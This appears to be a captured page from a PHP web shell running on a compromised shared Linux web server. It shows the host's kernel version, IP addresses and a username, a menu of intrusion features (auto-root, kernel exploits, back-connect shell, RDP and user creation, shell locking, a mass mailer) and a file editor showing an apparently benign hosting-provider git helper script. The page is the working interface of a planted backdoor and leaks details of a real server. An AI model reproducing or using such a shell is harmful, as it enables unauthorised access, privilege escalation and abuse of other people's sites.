Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
bin /
dhwp /
dhwp /
core /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
__init__.py
0
B
-rw-rw-r--
curl.py
546
B
-rw-rw-r--
exc.py
64
B
-rw-rw-r--
git.py
2.76
KB
-rw-rw-r--
version.py
176
B
-rw-rw-r--
wordpress.py
5.17
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : git.py
import re import sys import os from cement import shell from cement.utils.misc import minimal_logger LOG = minimal_logger(__name__) class Git: def __init__(self, path): self.path = path self.git_path = path + '/.git' shell.cmd('cd %s && git config --global user.email "robot@dreamhost.com"' % self.path) shell.cmd('cd %s && git config --global user.name "Robot"' % self.path) def cmd(self, cmd, args=''): out, err, code = shell.cmd('which git') if code > 0: LOG.fatal("cannot find git, please install it first") sys.exit(1) if not os.path.isdir(self.path): LOG.fatal("ERROR: %s is not a directory" % self.path) sys.exit(1) # TODO put this somewhere else command = "cd %s && git --git-dir=%s %s %s" % (self.path, self.git_path, cmd, args) LOG.info("git command : %s" % command) out, err, code = shell.cmd(command) out = out.decode("utf-8") err = err.decode("utf-8") LOG.info("git output : %s %s" % (out, err)) if code > 0: LOG.fatal("GIT failed with error %s" % err) sys.exit(1) return out def commit(self, message='', exclude_media=False, exclude_live_archives=False): git_ignore_file = self.path + '/.gitignore' self.git_ignore(exclude_media, exclude_live_archives) self.cmd('add', '.') commit_args = '-a -m \"%s\"' % message if self.has_changes(): self.cmd('commit', commit_args) if os.path.isfile(git_ignore_file): os.unlink(git_ignore_file) def git_ignore(self, exclude_media=False, exclude_live_archives=False): git_ignore_file = self.path + '/.gitignore' with open(git_ignore_file, 'w') as gi: gi.write("/.gitignore\nwp-content/cache\nwp-content/upgrade\nwp-config.php\n/.htaccess\n.maintenance\nwp-content/object-cache.php\n") if exclude_media: gi.write("wp-content/uploads/*\nwp-content/gallery/*\n") if exclude_live_archives: gi.write("wp-content/updraft\n**/*.sql\nwp-content/backups\n" "wp-snapshot\nwp-content/ai1wm-backups\nwp-content/**/*.zip\n" "wp-content/**/*.gz\nwp-content/**/*.tar\n") def has_changes(self): result = self.cmd('status') if 'nothing to commit' in result: return 0 else: return 1 def wipe(self): git_ignore_file = self.path + '/.gitignore' if os.path.isfile(git_ignore_file): os.unlink(git_ignore_file) if os.path.isdir(self.git_path): shell.cmd("git --git-dir=%s worktree prune" % self.git_path) shell.cmd("rm -rf " + self.git_path)
Close